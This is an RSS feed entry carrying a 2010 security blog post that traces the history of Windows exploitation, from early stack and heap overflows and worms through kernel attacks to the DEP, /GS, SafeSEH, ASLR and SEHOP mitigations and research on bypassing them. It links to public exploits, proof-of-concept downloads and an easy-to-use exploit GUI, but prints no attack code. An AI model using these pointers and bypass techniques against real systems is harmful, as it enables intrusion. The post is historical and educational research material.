<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Researches &#187; shahin</title>
	<atom:link href="http://www.abysssec.com/blog/author/shahin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Fri, 14 May 2010 19:22:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Past, Present, Future of Windows Exploitation</title>
		<link>http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/</link>
		<comments>http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/#comments</comments>
		<pubDate>Fri, 07 May 2010 19:33:10 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[alex]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[ASLR]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[dave]]></category>
		<category><![CDATA[david]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[gs]]></category>
		<category><![CDATA[heap]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[mark]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[moore]]></category>
		<category><![CDATA[NX]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[pool]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[safeseh]]></category>
		<category><![CDATA[sotirov]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1081</guid>
		<description><![CDATA[hi all this is v0.1 of this post and in this post i&#8217;m going to have a review and brief history on exploitation with focus on windows . this post will be  done III part : part I     : brief history of buffer overflow part II   : history of windows exploitation from windows 2000 to [...]]]></description>
			<content:encoded><![CDATA[<p>hi all</p>
<p>this is v0.1 of this post and in this post i&#8217;m going to have a review and brief history on exploitation with focus on windows .</p>
<p>this post will be  done III part :</p>
<ul>
<li>part I     : brief history of buffer overflow</li>
<li>part II   : history of windows exploitation from windows 2000 to windows 7</li>
<li>part III : feature of exploitation</li>
</ul>
<h2 style="text-align: center;"><strong>Part I  : brief history of buffer overflow</strong></h2>
<p><strong><span style="color: #ff00ff;">Starring : Robert morris , Aleph_one , Solar designer , Matt Conover , Casper Dik</span></strong></p>
<p>it&#8217;s been long time after :</p>
<p>morris worm in 1988 (first known computer worm that used a buffer overflow to attack)</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/robert_morris_worm_author.jpg"><img class="aligncenter size-medium wp-image-1086" title="robert_morris_worm_author" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/robert_morris_worm_author-300x282.jpg" alt="" width="240" height="226" /></a></p>
<p>aleph one wrote Smashing The Stack For Fun Profit in phrack 49 in ~1996<br />
<a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/aleph-one.png"></a></p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/aleph-one.png"><img class="aligncenter size-full wp-image-1088" title="aleph-one" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/aleph-one.png" alt="" width="169" height="280" /></a></p>
<p>so he start taking about detailed strcpy exploitation :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/5-7-2010-1-59-49-PM.png"><img class="aligncenter size-full wp-image-1108" title="5-7-2010 1-59-49 PM" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/5-7-2010-1-59-49-PM.png" alt="" width="243" height="269" /></a></p>
<p>Matt Conover wrote first detailed heap overflow tutorial in 1999 <a href="http://www.w00w00.org/files/articles/heaptut.txt" target="_blank">heap tut</a></p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg"><img class="aligncenter size-full wp-image-1090" title="matt conover" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg" alt="" width="106" height="119" /></a>and solar designer wrote first generic heap exploit on windows <a href="http://www.openwall.com/advisories/OW-002-netscape-jpeg/" target="_blank">netscape exploit</a></p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/Solar-Designer.jpg"><img class="aligncenter size-full wp-image-1091" title="Solar Designer" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/Solar-Designer.jpg" alt="" width="240" height="224" /></a></p>
<p>==============================================<br />
at that times because of really low OS memory protections and also low application specific protections (can also called CPU and compilers problem !) , a poor input validation and an insecure memory copy was enough to corrupting memory (mostly in stack area) and overwriting  a function return address and getting control of instruction pointer (IP , EIP) and then by storing malicious code (called shellcode) and using a pointer (mostly stack pointer (ESP)) execution flow can be change and pointer to attacker malicious (or educational ;) )  code.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/nopsled.png"><img class="aligncenter size-medium wp-image-1093" title="nopsled" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/nopsled-120x300.png" alt="" width="120" height="300" /></a></p>
<p>so OS developers and security guys had to think about memory protections and casper dik in nov 1996 wrote a kernel run-time patch to implement non-executable-stacks for Solaris 2.4 to 2.5.1 <a href="http://seclists.org/bugtraq/1996/Nov/57" target="_blank">http://seclists.org/bugtraq/1996/Nov/57</a></p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/4-30-2010-11-22-40-PM.png"><img class="aligncenter size-medium wp-image-1096" title="Casper" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/4-30-2010-11-22-40-PM-300x291.png" alt="" width="240" height="233" /></a></p>
<p>and later solar designer released same thing to remove executable permission for stack on the linux <a href="http://marc.info/?m=87602167420762" target="_blank">here</a></p>
<p>and around ~2000 solar designer made <strong>return-to-libc</strong> attacks to return in executable page and functions in memory for bypassing non-executable memory. the basic idea was  after controlling executing flow return to some function like system() and executing a single command or &#8230;. but there was a problem and the attacker was limit in payload selection and can&#8217;t use advanced payloads .</p>
<p>so around ~2000 we had :</p>
<ul>
<li>basic / intermediate stack overflows</li>
<li>basic heap overflows</li>
<li>basic / intermediate format strings (killed so soon !)</li>
<li>basic memory protections</li>
<li>basic bypass memory protections</li>
<li>also some other type of memory corruptions (not so general)</li>
</ul>
<p>=========================================</p>
<h2 style="text-align: center;"><strong>part II  : history of windows exploitation from windows 2000 to windows 7</strong></h2>
<p><strong><strong><span style="color: #ff00ff;">Starring : Alexander Sotirov , Mark Dowd , John McDonald, Chris Valasek , Chris Anley , Brett Moore , David litchfield , Nicolas Waisman , Dave Aitel , Halvar Flake ,  Cesar Cerrudo </span><span style="font-weight: normal;"><span style="color: #ff00ff;">, </span><strong><span style="color: #ff00ff;">Matt Miller , ken johnson , S.K Chong ,  Dionysus Blazakis  , hd moore , FlashSky , Ruben Santamarta .</span></strong></span></strong></strong></p>
<p>welcome to windows world !</p>
<p>i wanna start from windows 2000  final version of NT family because i think older windows are not interesting enough to talk about .</p>
<p style="text-align: left;"><strong><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/win2000.jpg"><img class="aligncenter size-medium wp-image-1103" title="win2000" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/win2000-300x209.jpg" alt="" width="210" height="146" /></a>exploit developers golden age :<span style="font-weight: normal;"> microsoft was is supporting and making money from windows 2k and unfortunately forgot  protect you from buffer overflow attacks . so old and classic attacks works like a charm and just  maybe in some case  we saw very complex  and smart vulnerabilities but exploitation by itself was not that hard (maybe just some application specific filters / protections ) </span></strong></p>
<p style="text-align: left;"><strong><span style="font-weight: normal;">so because of that poor protection we saw great worms like : </span></strong></p>
<p style="text-align: left;"><strong><span style="font-weight: normal;"><a href="http://en.wikipedia.org/wiki/Blaster_(computer_worm)" target="_blank">blaster worm</a> one of historic worms ever that used a RPC vuln for attack and fixed in <a href="http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx">http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx</a> </span></strong></p>
<p style="text-align: left;">and maybe you can remember : &#8220;<em>billy gates why do you make this possible ? Stop making money</em> <em>and fix your software!! &#8220;</em></p>
<p style="text-align: left;"><em>and this cool picture :</em></p>
<p style="text-align: left;"><em><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Windows_XP_Emergency_Shutdown.png"><img class="aligncenter size-full wp-image-1104" title="Windows_XP_Emergency_Shutdown" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Windows_XP_Emergency_Shutdown.png" alt="" width="282" height="258" /></a><br />
</em></p>
<p style="text-align: left;"><a href="http://en.wikipedia.org/wiki/SQL_Slammer" target="_blank">slammer worm</a> a great and fast worm that used an SQL Server buffer overflow for attack. that fixed after 6 month !!! in :</p>
<p style="text-align: left;"><a href="http://www.microsoft.com/technet/security/bulletin/MS02-039.mspx">http://www.microsoft.com/technet/security/bulletin/MS02-039.mspx</a></p>
<p style="text-align: left;"><strong><span style="font-weight: normal;"><a href="http://en.wikipedia.org/wiki/Sasser_(computer_worm)" target="_blank">sasser worm</a> another great worm that used lsass remote overflow vulnerability and fixed in: <a href="http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx">http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx</a></span></strong></p>
<p style="text-align: left;">but there is a question these worms targeted windows XP and 2003 as well too ? yes !</p>
<p style="text-align: left;">because microsoft did  that great job in windows XP service pack 0 and 1 as well as windows 2003 service pack 0.</p>
<p style="text-align: left;">also we had lots of great and reliable exploits like :</p>
<p style="text-align: left;">DCOM RCP Exploit  <a href="http://www.exploit-db.com/exploits/103" target="_blank">here</a> by flashsky (xfocus guy)</p>
<p style="text-align: left;">MS Windows (RPC DCOM) Remote Exploit <a href=" http://www.exploit-db.com/exploits/66" target="_blank">here</a> by hd moore</p>
<p style="text-align: left;">Great Kill Bill exploit <a href="http://www.phreedom.org/solar/exploits/msasn1-bitstring/" target="_blank">here</a> (targeting ANS.1) by Alexander Sotirov</p>
<p style="text-align: left;">MS Windows Plug-and-Play <a href="http://www.exploit-db.com/exploits/1149" target="_blank">here</a> by sl0ppy and houseofdabus and others .</p>
<p style="text-align: left;">also some GUI tools for easy exploitation for those even don&#8217;t know how they can compile and run an exploit like : <a href="http://www.leetupload.com/dbindex2/index.php?dir=Local%20Root%20Exploits/RPC%20GUI%20v2%20-%20r3L4x/&amp;file=RPC%20GUI%20v2%20-%20r3L4x.exe">RPC GUI v2 &#8211; r3L4x.exe</a></p>
<p style="text-align: left;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/connect2.gif"><img class="aligncenter size-medium wp-image-1107" title="connect2" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/connect2-300x246.gif" alt="" width="300" height="246" /></a></p>
<p style="text-align: left;">but why we had lots of juicy and clicky &#8211; clicky exploits ? there is two main reasons :</p>
<p style="text-align: left;">1- poor generic OS / application layer  memory protection</p>
<p style="text-align: left;">2- cool generic public memory exploitation related researches</p>
<p style="text-align: left;">
<h3><strong>classic windows stack overflows </strong></h3>
<p style="text-align: left;">lots of great and detailed papers in this area i just wanna link a few of them :</p>
<p>1- Win32 Buffer Overflows (Location, Exploitation and Prevention) by dark spyrit in 1999</p>
<p><a href="http://www.phrack.com/issues.html?issue=55&amp;id=15#article">http://www.phrack.com/issues.html?issue=55&amp;id=15#article</a></p>
<p style="text-align: left;">2- S.K Chong Win32 Stack Based Buffer Overflow Walkthrough  in july 2002</p>
<p style="text-align: left;"><a href="http://www.scan-associates.net/papers/win32_bo_walkthrough.txt">http://www.scan-associates.net/papers/win32_bo_walkthrough.txt</a></p>
<p style="text-align: left;">3- Nish Bhalla&#8217;s series on  Writing Stack Based Overflows on Windows in 2005</p>
<p style="text-align: left;"><a href="http://www.packetstormsecurity.org/papers/win/">http://www.packetstormsecurity.org/papers/win/</a></p>
<p style="text-align: left;">if i want to have brief description of them they all are talking about finding a reliable return address in  a reliable Dynamic Linked Library (MOST in OS DLL&#8217;s kernel32.dll ntdll.dll shell32.dll user32.dll and &#8230; ) and then after overwriting a function return address by sending big value to not good checked input variable and getting program execution flow redirect that flow to address in DLL that address is mostly JMP / call /  PUSH ESP (stack pointer)  or EBP (base pointer) because most of time in classic stack overflow attacker store her / his malicious code in the stack and a JMP / CALL / PUSH ESP RET will lead his / her to jump to start of shellcode .thats all!</p>
<h3><strong>classic windows heap overflows</strong></h3>
<p>1 &#8211;  Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002</p>
<p><a href="http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt" target="_blank">http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt</a></p>
<p>2- Exploiting the MSRPC Heap Overflow two part by Dave Aitel (MS03-026) sep 2003</p>
<p><a href="http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap.pdf" target="_blank">http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap.pdf</a></p>
<p><a href="http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap2.pdf" target="_blank">http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap2.pdf</a></p>
<p>3- david litchfield did a great detailed penetration in black hat 2004</p>
<p><a href="https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt" target="_blank">https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt</a></p>
<p>if i want to have brief description of them they all are talking about exploiting unlink macro and using write4 (where + what) and actually ability of writing 4byte (32bit ) of selected address in memory by using specific function pointers like :</p>
<ul>
<li><strong>UnhandledExceptionFilter</strong></li>
<li><strong>VectoredExceptionHandling</strong></li>
<li><strong>RtlEnterCriticalSection</strong></li>
<li><strong>TEB      Exception Handler</strong></li>
<li><strong>Application specific function      pointer</strong></li>
</ul>
<p>&#8230;..</p>
<h3><strong>kernel based Windows overflows (not so classic)</strong></h3>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p>because of <strong>Inexorability</strong> of  this type of attacks i want to share all of most notable history in this area here : (note that  i will back to heap and stack with protections after in it)</p>
<p>=================</p>
<p>First noticeable whitepaper that stated how to attack kernel based vulns on</p>
<p>windows was done by a Polish group called &#8220;sec-labs&#8221; around 2003 .</p>
<p><a href="http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/0101.html" target="_blank">http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/0101.html</a></p>
<p>sec-lab old whitepaper : <a href="http://www.artofhacking.com/tucops/hack/windows/live/aoh_win32dcv.htm" target="_blank">http://www.artofhacking.com/tucops/hack/windows/live/aoh_win32dcv.htm</a></p>
<p>sec-lab old exploit : <a href="http://www.securityfocus.com/bid/8329/info" target="_blank">http://www.securityfocus.com/bid/8329/info</a></p>
<p>(thanks Piotr Bania !)</p>
<p>1- Windows Local Kernel Exploitation by S.K Chong in 2004 (based on sec-lab research)</p>
<p><a href="http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf">http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf</a></p>
<p><a href="http://www.scan-associates.net/papers/navx.c" target="_blank">http://www.scan-associates.net/papers/navx.c</a></p>
<p>2-Windows interrupt context kernel overflow exploit BY FLASHSKY in 2004</p>
<p>3- How to exploit Windows kernel memory pool in 2005 by SoBeIt</p>
<p><a href="http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf" target="_blank">http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf</a></p>
<p>4- in 2005 eeye security published great paper about exploiting remote kernel overflows in windows</p>
<p><a href="http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf" target="_blank">http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf</a></p>
<p>5- later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed</p>
<p><a href="http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf</a></p>
<p>6- in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows</p>
<p><a href="http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf</a></p>
<p>7- in 2007 Jonathan Lindsay published and did a presentation in BH US 2007 called Attacking the Windows Kernel</p>
<p><a href="https://www.blackhat.com/presentations/bh-usa-07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf">http://www.blackhat.com/presentations/bh-usa-07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf</a></p>
<p>8- same in  BH US 2007 Yuriy Bulygin did a peresentiation called Remote and Local Exploitation of Network Drivers</p>
<p><a href="http://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf" target="_blank">http://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf</a></p>
<p>9- in 2007 also Ruben Santamarta wrote Exploiting Comon Flaws In Drivers</p>
<p><a href="http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1" target="_blank">http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1</a></p>
<p>10- in 2008 Justin Seitz  wrote a paper and called I2OMGMT Driver Impersonation Attack</p>
<p><a href="http://www.immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf" target="_blank">http://www.immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf</a></p>
<p>in that paper Justin  talked about new type of kernel attacks and about i2OMGMT bug that founded by ruben.</p>
<p>11- later in 2008 Kostya Kortchinsky did a presentation called Real World Kernel Pool Exploitation</p>
<p><a href="http://sebug.net/paper/Meeting-Documents/syscanhk/KernelPool.pdf" target="_blank">http://sebug.net/paper/Meeting-Documents/syscanhk/KernelPool.pdf</a></p>
<p>in that presentation kostya  talked about how he wrote exploit for ms08-001 (Microsoft marked it as not-exploitable !)</p>
<p>12- later in 2008 Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8</p>
<ul>
<li>artice :</li>
<li><a href="http://www.argeniss.com/research/TokenKidnapping.pdf" target="_blank">http://www.argeniss.com/research/TokenKidnapping.pdf</a></li>
<li>poc 2k3:</li>
<li><a href="http://www.argeniss.com/research/Churrasco.zip" target="_blank">http://www.argeniss.com/research/Churrasco.zip</a></li>
<li>poc 2k8:</li>
<li><a href="http://www.argeniss.com/research/Churrasco2.zip" target="_blank">http://www.argeniss.com/research/Churrasco2.zip</a></li>
</ul>
<p>13- again later in 2008 mxtone wrote a paper called Analyzing local privilege escalations in win32k<br />
<a href="http://www.argeniss.com/research/Churrasco2.zip" target="_blank">http://www.uninformed.org/?v=10&amp;a=2&amp;t=pdf</a></p>
<p>in that paper he analyzed vulnerabilities and exploitation vector of win32k driver .</p>
<p>14- in ucon 2009  Stephen A. Ridley did a presentation called Intro to Windows Kernel Security Development<br />
<a href="http://www.dontstuffbeansupyournose.com/trac/browser/projects/ucon09/Intro_NT_kernel_security_stuff.pdf" target="_blank">download it here</a></p>
<p>15- Tavis Ormandy, Julien Tinnes and great presentation called There&#8217;s a party at ring0 and you&#8217;re invited<br />
<a href="http://www.cr0.org/paper/to-jt-party-at-ring0.pdf" target="_blank">http://www.cr0.org/paper/to-jt-party-at-ring0.pdf</a></p>
<p>16- in January 2010 Matthew “j00ru” Jurczyk and Gynvael Coldwind, Hispasec wrote a detailed paper called GDT and LDT in Windows kernel vulnerability exploitation.<br />
<a href="http://vexillium.org/dl.php?call_gate_exploitation.pdf" target="_blank">http://vexillium.org/dl.php?call_gate_exploitation.pdf</a><br />
in that  paper they describes some possible ways of exploiting kernel-mode write-what-where vulnerabilities in a stable manner</p>
<p>17- later  they did a presentation called Case Study of Recent Windows Vulnerabilities in HITB <span style="font-family: monospace; line-height: 18px; font-size: 12px; color: #666666; white-space: pre;"><span style="color: #000000; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">2010</span></span></p>
<h3>Windows memory protections !</h3>
<p>OK so now we are going back to user-land this time with memory protections !<br />
<a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Wolf_spider_attack_position1.jpg"><img class="aligncenter size-medium wp-image-1129" title="Welcome To Memory Protections !" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/Wolf_spider_attack_position1-300x262.jpg" alt="" width="300" height="262" /></a></p>
<p>due to  lots of generic exploitation methods as well as lots of worms  ! Microsoft decided to use of memory protections in hardware and software layer. so from windows XP SP2 (Windows XP Tablet PC Edition 2005) , Windows Server 2003 Service Pack 1 (OS level) and from visual studio 2003 (compiler level) added lots of memory protections functionality.</p>
<p>here i&#8217;m going to have brief history of them and then  i will introduce  great researchers and their research against memory protections .</p>
<p>1- <strong>Data Execution Prevention</strong> (DEP)</p>
<p>DEP is a security feature included in modern Microsoft Windows operating systems that is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow, for example.</p>
<p>hardware-enforced DEP for CPUs that can mark memory pages as non-executable, and software-enforced DEP with a limited prevention for CPUs that do not have hardware support.</p>
<p>in windows XP SP2 and windows 2003 sp1 and sp2 you can get access on DEP setting by editing boot.ini in noexecute section.</p>
<p>there is four options :</p>
<p>1- <strong>OptIn : </strong>DEP only will work for all of windows services as well as  necessary programs.</p>
<p>2- <strong>OptOut</strong><strong>: </strong>DEP  will work for all of windows services as well as  all of 3d-party installed program but you can add some process as            exception from controll panel.</p>
<p>3- <strong>AlwaysOn : </strong>fully protected by DEP no exception is acceptable.</p>
<p>4- <strong>AlwaysOff : </strong>Go to hell DEP , turns DEP off .</p>
<p>most of CPUs those are made after 2004 (AMD , Intel) can support hardware DEP.</p>
<p>read more on DEP : <a href="http://support.microsoft.com/kb/875352">http://support.microsoft.com/kb/875352</a></p>
<p><strong>/GS (Buffer Security Check)</strong></p>
<p>GS (a.k.a stack cookie) is a compiler option that added from visual studio 2003 and will detects some buffer overruns that overwrite the return address, a common technique for exploiting code that does not enforce buffer size restrictions. This is achieved by injecting security checks into the compiled code.</p>
<p>so by using /GS flag compiler will add <strong>__security_init_cookie() </strong>function to your program and each time you want to overwrite a function return address you actually overwrite cookie as well and so comparison of cookie will fall so process will be terminate and you can&#8217;t use your return address.</p>
<p>for more detail read : <a href="http://msdn.microsoft.com/en-us/library/Aa290051">http://msdn.microsoft.com/en-us/library/Aa290051</a></p>
<p><strong>/SAFESEH</strong></p>
<p>a linked option also system functionality added in visual studio 2005. when a program is linked with /SAFESEH in header of file will be contain of a acceptable Exception Handler Table. so each time an exception occurs and attacker wants overwrite a record from exception handler the ntdll dispatcher will understand this and will terminate program execution.</p>
<p>for more detail read : <a href="http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx">http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx</a></p>
<p><strong>ASLR</strong></p>
<div id="_mcePaste">Windows Vista, 2008 server, and Windows 7 offer yet another built-int security technique (like PAX), which randomizes the base addresses of executables, dll’s, stack and heap in a process’s address space (in fact, it will load the system images into 1 out of 256 random slots, it will randomize the stack for each thread, and it will randomize the heap as well).</div>
<div>in simple explanation if you want use an address in system in one of system dll&#8217;s   after your target system got restart your address is changed and not valid anymore so exploitation will fail again.</div>
<p>for more detail read : <a title="ASLR in Vista" href="http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx" target="_blank">here</a></p>
<p><strong>SEHOP</strong></p>
<p>used in most modern windows operation systems like 2008 and 7 . the idea beyond this new mitigation comes from matt miller article called <span style="font-family: Verdana, Arial, Helvetica, sans-serif; line-height: 15px; font-size: 12px; color: #333333;">Preventing the Exploitation of SEH Overwrites. </span>for detailed explanation of this protection just read flowing link :</p>
<p><span style="font-family: Verdana, Arial, Helvetica, sans-serif; line-height: 15px; font-size: 12px; color: #333333;"><a href="http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx">http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx</a></span></p>
<p><strong>Heap Protection</strong></p>
<p>Microsoft also introduce to some new heap protections like heap meta cookie , safe unlinking , and in newer systems (after vista) function pointer obfuscation and so on &#8230;</p>
<p>==================================================</p>
<h3 style="text-align: center;"><strong>Advanced Windows Exploitation (bypassing filter and protections ) </strong></h3>
<p>after 2005 exploitation getting harder and harder and number of public and &#8220;white-hat&#8221; hackers who can made a reliable multi platform exploit for modern windows OS was not too much.</p>
<p>in this section i want to have review on most important and noticeable researches against protections.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/th_dullien.jpg"><img class="aligncenter size-full wp-image-1132" title="th_dullien" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/th_dullien.jpg" alt="" width="150" height="161" /></a></p>
<p>1- Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002</p>
<p><a href="http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt" target="_blank">http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt</a></p>
<p>windows 2k heap exploitation.</p>
<p>2- chris anley wrote Creating Arbitrary Shellcode In Unicode Expanded Strings</p>
<p><a href="http://www.net-security.org/dl/articles/unicodebo.pdf" target="_blank">http://www.net-security.org/dl/articles/unicodebo.pdf</a></p>
<p>this was first public article about unicode based shellcode and is also known as &#8220;Venetian&#8221; shellcode. the method explained in this paper was good enough to making poor ASCII shellcodes .</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/speaker06_Dave-Aitel.jpg"><img class="aligncenter size-full wp-image-1133" title="speaker06_Dave Aitel" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/speaker06_Dave-Aitel.jpg" alt="" width="106" height="119" /></a></p>
<p><strong><span style="font-weight: normal;">3- Dave aitel advanced windows exploitation in 2003 </span></strong></p>
<p><span style="font-weight: normal;"><a href="http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt" target="_blank">http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt</a></span></p>
<p><span style="font-weight: normal;">in that talk dave talked about no so typical windows exploitation and start making game more advanced . </span></p>
<p style="text-align: center;"><span style="font-weight: normal;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dwl.jpg"><img class="aligncenter size-medium wp-image-1134" title="dwl" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dwl-200x300.jpg" alt="" width="140" height="210" /></a><br />
</span></p>
<p>4- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server by david litchfield</p>
<p><a href="http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf" target="_blank">http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf</a></p>
<p>this paper actually was first detailed paper about abusing SEH (structured exception handler)  and the generic way to bypass /GS  and also write not lots of public exploit are using this method for exploitation so it also can called one of most important research in windows exploitation history.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg"><img class="aligncenter size-full wp-image-1090" style="display: block; margin-left: auto; margin-right: auto; border: 0px initial initial;" title="matt conover" src="http://www.abysssec.com/blog/wp-content/uploads/2010/04/25384_361687701993_524586993_4263920_3640767_n.jpg" alt="" width="106" height="119" /></a></p>
<p>5- reliable heap exploits  (matt Conover  in cansecwest 2004 ) and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2)</p>
<p><a href="http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt" target="_blank">http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt</a></p>
<p>i think that was one of most important heap related research in history of windows exploitation a great and gentle introduction to overwrite a chunk on lookaside list for bypassing safe unlinking and also give lots of great information  about windows heap manager internals .</p>
<p>6- later in 2004 matt miller wrote an article Safely Searching Process Virtual Address Space</p>
<p><a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf" target="_blank">http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf</a></p>
<p>this article was first great and public article about using egg-hunter shellcode and it&#8217;s about when we have limited memory space for our shellcode and we can store our big and main shellcode some-where in memory. this can be also called practical introduction to search shellcodes .</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skylined.png"><img class="aligncenter size-full wp-image-1136" title="skylined" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skylined.png" alt="" width="80" height="83" /></a></p>
<p>7- later in 2004  skylined wrote on IE exploit and used a technology called Heap Spray</p>
